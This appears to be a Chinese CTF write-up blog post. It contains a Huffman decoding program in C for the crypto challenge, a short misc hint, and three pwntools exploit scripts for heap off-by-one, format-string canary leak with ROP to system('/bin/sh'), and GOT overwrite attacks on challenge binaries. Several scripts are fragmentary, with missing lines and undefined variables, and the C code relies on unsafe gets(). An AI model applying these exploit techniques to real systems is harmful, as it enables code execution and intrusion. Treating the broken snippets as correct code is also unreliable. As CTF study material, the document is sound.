CRYPTO

看到哈夫曼我记得当初好像是在数据结构里面学过，果断找书，百度查资料，后来了解到，上面01的部分其实可以看做是加密的密文，下面相当于解密的秘钥。

  1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 typedef int ELEMTYPE;
6
7 // 哈夫曼树结点结构体
8 typedef struct HuffmanTree
9 {
10     ELEMTYPE weight;
11     ELEMTYPE id;        // id用来主要用以区分权值相同的结点，这里代表了下标
12     struct HuffmanTree* lchild;
13     struct HuffmanTree* rchild;
14 }HuffmanNode;
15
16 // 构建哈夫曼树
17 HuffmanNode* createHuffmanTree(int* a, int n)
18 {
19     int i, j;
20     HuffmanNode **temp, *hufmTree;
21     temp = malloc(n*sizeof(HuffmanNode));
22     for (i = 0; i<n; ++i)     // 将数组a中的权值赋给结点中的weight
23     {
24         temp[i] = (HuffmanNode*)malloc(sizeof(HuffmanNode));
25         temp[i]->weight = a[i];
26         temp[i]->id = i;
27         temp[i]->lchild = temp[i]->rchild = NULL;
28     }
29
30     for (i = 0; i<n - 1; ++i)       // 构建哈夫曼树需要n-1合并
31     {
32         int small1 = -1, small2;      // small1、small2分别作为最小和次小权值的下标
33         for (j = 0; j<n; ++j)         // 先将最小的两个下标赋给small1、small2（注意：对应权值未必最小）
34         {
35             if (temp[j] != NULL && small1 == -1)
36             {
37                 small1 = j;
38                 continue;
39             }
40             else if (temp[j] != NULL)
41             {
42                 small2 = j;
43                 break;
44             }
45         }
46
47         for (j = small2; j<n; ++j)    // 比较权值，挪动small1和small2使之分别成为最小和次小权值的下标
48         {
49             if (temp[j] != NULL)
50             {
51                 if (temp[j]->weight < temp[small1]->weight)
52                 {
53                     small2 = small1;
54                     small1 = j;
55                 }
56                 else if (temp[j]->weight < temp[small2]->weight)
57                 {
58                     small2 = j;
59                 }
60             }
61         }
62         hufmTree = (HuffmanNode*)malloc(sizeof(HuffmanNode));
63         hufmTree->weight = temp[small1]->weight + temp[small2]->weight;
64         hufmTree->lchild = temp[small1];
65         hufmTree->rchild = temp[small2];
66
67         temp[small1] = hufmTree;
68         temp[small2] = NULL;
69     }
70     free(temp);
71     return hufmTree;
72 }
73
74 // 以广义表的形式打印哈夫曼树
75 void PrintHuffmanTree(HuffmanNode* hufmTree)
76 {
77     if (hufmTree)
78     {
79         printf("%d", hufmTree->weight);
80         if (hufmTree->lchild != NULL || hufmTree->rchild != NULL)
81         {
82             printf("(");
83             PrintHuffmanTree(hufmTree->lchild);
84             printf(",");
85             PrintHuffmanTree(hufmTree->rchild);
86             printf(")");
87         }
88     }
89 }
90
91 // 递归进行哈夫曼编码
92 void HuffmanCode(HuffmanNode* hufmTree, int depth)      // depth是哈夫曼树的深度
93 {
94     static int code[100];
95     if (hufmTree)
96     {
97         if (hufmTree->lchild == NULL && hufmTree->rchild == NULL)
98         {
99             printf("id为%d权值为%d的叶子结点的哈夫曼编码为 ", hufmTree->id, hufmTree->weight);
100             int i;
101             for (i = 0; i<depth; ++i)
102             {
103                 printf("%d", code[i]);
104             }
105             printf("\n");
106         }
107         else
108         {
109             code[depth] = 0;
110             HuffmanCode(hufmTree->lchild, depth + 1);
111             code[depth] = 1;
112             HuffmanCode(hufmTree->rchild, depth + 1);
113         }
114     }
115 }
116
117 // 哈夫曼解码
118 void HuffmanDecode(char ch[], HuffmanNode* hufmTree, char string[])     // ch是要解码的01串，string是结点对应的字符
119 {
120     int i;
121     int num[500];
122     HuffmanNode* tempTree = NULL;
123     for (i = 0; i<strlen(ch); ++i)
124     {
125         if (ch[i] == '0')
126             num[i] = 0;
127         else
128             num[i] = 1;
129     }
130     if (hufmTree)
131     {
132         i = 0;      // 计数已解码01串的长度
133         while (i<strlen(ch))
134         {
135             tempTree = hufmTree;
136             while (tempTree->lchild != NULL && tempTree->rchild != NULL)
137             {
138                 if (num[i] == 0)
139                 {
140                     tempTree = tempTree->lchild;
141                 }
142                 else
143                 {
144                     tempTree = tempTree->rchild;
145                 }
146                 ++i;
147             }
148             printf("%c", string[tempTree->id]);     // 输出解码后对应结点的字符
149         }
150     }
151 }
152
153 int main()
154 {
155     int i, n;
156     printf("请输入叶子结点的个数：\n");
157     while (1)
158     {
159         scanf("%d", &n);
160         if (n>1)
161             break;
162         else
163             printf("输入错误，请重新输入n值！");
164     }
165
166     int* arr;
167     arr = (int*)malloc(n*sizeof(ELEMTYPE));
168     printf("请输入%d个叶子结点的权值：\n", n);
169     for (i = 0; i<n; ++i)
170     {
171         scanf("%d", &arr[i]);
172     }
173
174     char ch[500], string[500];
175     printf("请连续输入这%d个叶子结点各自所代表的字符：\n", n);
176     fflush(stdin);      // 强行清除缓存中的数据，也就是上面输入权值结束时的回车符
177     gets(string);
178
179     HuffmanNode* hufmTree = NULL;
180     hufmTree = createHuffmanTree(arr, n);
181
182     printf("此哈夫曼树的广义表形式为：\n");
183     PrintHuffmanTree(hufmTree);
184     printf("\n各叶子结点的哈夫曼编码为：\n");
185     HuffmanCode(hufmTree, 0);
186
187     printf("要解码吗？请输入编码:\n");
188     gets(ch);
189     printf("解码结果为：\n");
190     HuffmanDecode(ch, hufmTree, string);
191     printf("\n");
192
193     free(arr);
194     free(hufmTree);
195
196     return 0;
197 }

MISC

我看也有人写了脚本：

63 127 191 255对应00 01 10 11

（如果是2种情况就猜0 1，4种情况就猜00 01 10 11，转换为8位二进制，然后只取前两位，因为观察会发现后面几位都是1）

PWN

 1 from pwn import *
2 #p=process('./storm')
4 #port:10444
6   p.recvuntil('Choice')
7   p.sendline('1')
8   p.recvuntil('?')
9   p.sendline(str(size))
10
11 def edit(idx,mes):
12   p.recvuntil('Choice')
13   p.sendline('2')
14   p.recvuntil('?')
15   p.sendline(str(idx))
16   p.recvuntil('Content')
17   p.send(mes)
18
19 def dele(idx):
20   p.recvuntil('Choice')
21   p.sendline('3')
22   p.recvuntil('?')
23   p.sendline(str(idx))
24
28 edit(1, 'h'*0x4f0 + p64(0x500))   #set fake prev_size
29
33 edit(4, 'h'*0x4f0 + p64(0x500))   #set fake prev_size
35
36 dele(1)
37 edit(0, 'h'*(0x18))    #off-by-one
40 dele(1)
41 dele(2)         #backward consolidate
44
45 dele(4)
46 edit(3, 'h'*(0x18))    #off-by-one
49 dele(4)
50 dele(5)         #backward consolidate
52
53 dele(2)
55 dele(2)
56 storage = 0xabcd0100
57 fake_chunk = storage - 0x20
58
59 p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
60 p1 += p64(0) + p64(fake_chunk)      #bk
61 edit(7, p1)
62
63 p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
64 p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
65 p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
66 edit(8, p2)
68 edit(2,p64(0)*8)
69
70 p.sendline('666')
71 p.send('\x00'*0x30)
72 '''
76
77 edit(1,(p64(0x200)+p64(0x100))*32)
78 dele(1)
79 edit(0,'a'*(0x100-8))
82 dele(1)
83 dele(2)
86 '''
87 p.interactive()

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#io = process('./story')
elf = ELF('./story')
#libc = elf.libc
libc = ELF('libc6_2.23-0ubuntu10_amd64.so')

io.recv()
__libc_start_main_got = elf.got['__libc_start_main']
payload = "%15$llx"+"AAAAAAAA" + "%11$s" + "QQQQ" + p64(__libc_start_main_got)
io.recvuntil("Hello ")
cannary = int(io.recvuntil('AAAAAAAA', drop = True),16)
print hex(cannary)
temp = io.recv()[0:6]
bin_sh = libc_base + libc.search('/bin/sh').next()
print "get_got = " + hex(__libc_start_main_got)
print "cannay= " + hex(cannary)
print "bin_sh=" + hex(bin_sh)
pop_rdi = 0x0000000000400bd3
#gdb.attach(io)
payload = 'A'*136 + p64(cannary) * 2 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)

print hex(cannary)
print "size = " + str(Size)
#gdb.attach(io)
print io.recv()
io.interactive()

exp

 1 from pwn import *
2 #p=process('./noinfoleak')
3 libc = ELF('./libc-2.23.so')
6   p.recvuntil('>')
7   p.sendline('1')
8   p.recvuntil('>')
9   p.sendline(str(size))
10   p.recvuntil('>')
11   p.send(mes)
12
13 def dele(idx):
14   p.recvuntil('>')
15   p.sendline('2')
16   p.recvuntil('>')
17   p.sendline(str(idx))
18 def edit(idx,mes):
19   p.recvuntil('>')
20   p.sendline('3')
21   p.recvuntil('>')
22   p.sendline(str(idx))
23   p.recvuntil('>')
24   p.send(mes)
25
29 dele(0)
30 dele(1)
31 edit(1,'\x10')
36 edit(0,p64(0)+p64(0xd1))
37 dele(4)
38 a = 0x46# int(raw_input("a"),16)
39 edit(0,p64(0)+p64(0x71)+'\x5d'+chr(a))
40 dele(1)
41 dele(2)
42 edit(2,'\x10')
46 dele(5)
47 dele(6)
48 edit(6,p64(0x601120))
52 p.send('\n')
53 p.recv(24)
55 libc_base = addr - (0x7fb4e88cf6e0-0x7fb4e850c000)
56 info("libc:0x%x",libc_base)
57 system = libc_base+libc.symbols['system']
58 edit(11,p64(0x601018))
59 edit(9,p64(system))
60 dele(10)
61
62 p.interactive()

REVERSE

- 顺序整个反过来，最后一个不变

（之后再学习后会再进一步详细补充）

2019-04-08  11:35:05